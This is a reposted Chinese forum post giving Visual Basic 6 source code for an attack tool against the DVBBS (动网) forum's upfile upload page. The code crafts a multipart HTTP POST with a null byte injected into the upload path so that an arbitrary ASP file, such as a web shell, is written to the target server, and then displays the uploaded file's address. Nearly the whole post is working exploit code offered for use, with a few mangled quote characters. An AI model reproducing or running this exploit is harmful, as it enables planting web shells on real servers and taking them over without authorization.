[转载]动网upfileVB源代码
作者：未知 信息来源：xiaoke's Blog在VB6.0+xp环境下通过
[code]
Option Explicit
Dim strCommand, ShellCode1, ShellCode2, ShellCode3, strcode, hostpath, asppath, secpath As String
Dim aspfilesize As Integer
Private Sub Command1_Click() ‘开始上传按钮
Winsock1.Close
Winsock1.RemoteHost = Rhost.Text
Winsock1.RemotePort = CInt(Rport.Text)
Winsock1.Connect
End Sub
Private Sub Command2_Click() ’打开本地文件
On Error GoTo err
Dim ofn As OPENFILENAME
Dim rtn As String
ofn.lStructSize = Len(ofn)
ofn.hwndOwner = Me.hwnd
ofn.hInstance = App.hInstance
ofn.lpstrFilter = "ASP文件 (*.asp)" & Chr$(0) & "*.asp" & Chr$(0) & "所有文件 (*.*)" & Chr$(0) & "*.*" & Chr$(0)
ofn.lpstrFile = Space(254)
ofn.nMaxFile = 255
ofn.lpstrFileTitle = Space(254)
ofn.nMaxFileTitle = 255
ofn.lpstrInitialDir = App.Path
ofn.lpstrTitle = "请选择要打开的ASP文件"
ofn.flags = 6148
rtn = GetOpenFileName(ofn)
If rtn >= 1 Then
Open ofn.lpstrFile For Binary As #1
ShellCode2 = Input(LOF(1), 1)
Close 1
End If
aspfilesize = FileLen(ofn.lpstrFile) + 4
Command1.Enabled = True
Exit Sub
err:
MsgBox err.Description, 48, "错误提示！"
End Sub
Private Sub Command3_Click() ‘直接查看
ShellExecute 0&, vbNullString, Text1.Text, vbNullString, vbNullString, vbNormalFocus
End Sub
Private Sub Winsock1_Connect()
On Error Resume Next
If err Then GoTo err
strcode = "---------------------------7d439d8c04f8"
hostpath = Trim(Rhost.Text)
If InStr(hostpath, "/") > 1 Then GoTo err2
secpath = Trim(Text4.Text)
If Left(secpath, 1) <> "/" Then secpath = "/" & secpath
asppath = Trim(AspPach.Text)
If Left(asppath, 1) <> "/" Then asppath = "/" & asppath
If Len(ShellCode2) < 10 Then GoTo err3
ShellCode1 = "--" & strcode & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "Content-Disposition: form-data; name=" & Chr(34) & "filepath" & Chr(34) & Chr(13) & Chr(10) & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & asppath & Chr(0) & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "--" & strcode & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "Content-Disposition: form-data; name=" & Chr(34) & "act" & Chr(34) & Chr(13) & Chr(10) & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "upload" & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "--" & strcode & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "Content-Disposition: form-data; name=" & Chr(34) & "file1" & Chr(34) & "; filename=" & Chr(34) & "d:\test.gif" & Chr(34) & Chr(13) & Chr(10)
ShellCode1 = ShellCode1 & "Content-Type: text/asp" & Chr(13) & Chr(10) & Chr(13) & Chr(10)
ShellCode3 = Chr(13) & Chr(10) & Chr(13) & Chr(10) & "--" & strcode & Chr(13) & Chr(10)
ShellCode3 = ShellCode3 & "Content-Disposition: form-data; name=" & Chr(34) & "Submit" & Chr(34) & Chr(13) & Chr(10) & Chr(13) & Chr(10)
ShellCode3 = ShellCode3 & "提交" & Chr(13) & Chr(10)
ShellCode3 = ShellCode3 & "--" & strcode & "--"
strCommand = "POST " & secpath & " HTTP/1.1" & Chr(13) & Chr(10)
strCommand = strCommand & "Referer: http://"; & hostpath & Chr(13) & Chr(10)
strCommand = strCommand & "Content-Type: multipart/form-data; boundary=" & strcode & Chr(13) & Chr(10)
strCommand = strCommand & "Host: " & hostpath & Chr(13) & Chr(10)
strCommand = strCommand & "Content-Length: " & CStr(Len(ShellCode1 & ShellCode3) + aspfilesize) & Chr(13) & Chr(10) & Chr(13) & Chr(10)
strCommand = strCommand & ShellCode1 & ShellCode2 & ShellCode3 & Chr(13) & Chr(10)
Winsock1.SendData strCommand
MsgBox "连接地址：http://"; & hostpath & asppath, 48, "上传成功"
Text1.Text = "http://"; & hostpath & asppath
Command3.Enabled = True
Exit Sub
err:
MsgBox err.Description, 48, "错误提示！"
err2:
MsgBox "主机地址输入框请勿包括http://或目录各称!", 48, "错误提示！"
err3:
MsgBox "请正确选择要上传的文件", 32, "提示"
End Sub
-----------------------------以下是模块-------------------------------------
Option Explicit
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Declare Function GetOpenFileName Lib "comdlg32.dll" Alias _
"GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long
Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
[/code]
页:
[1]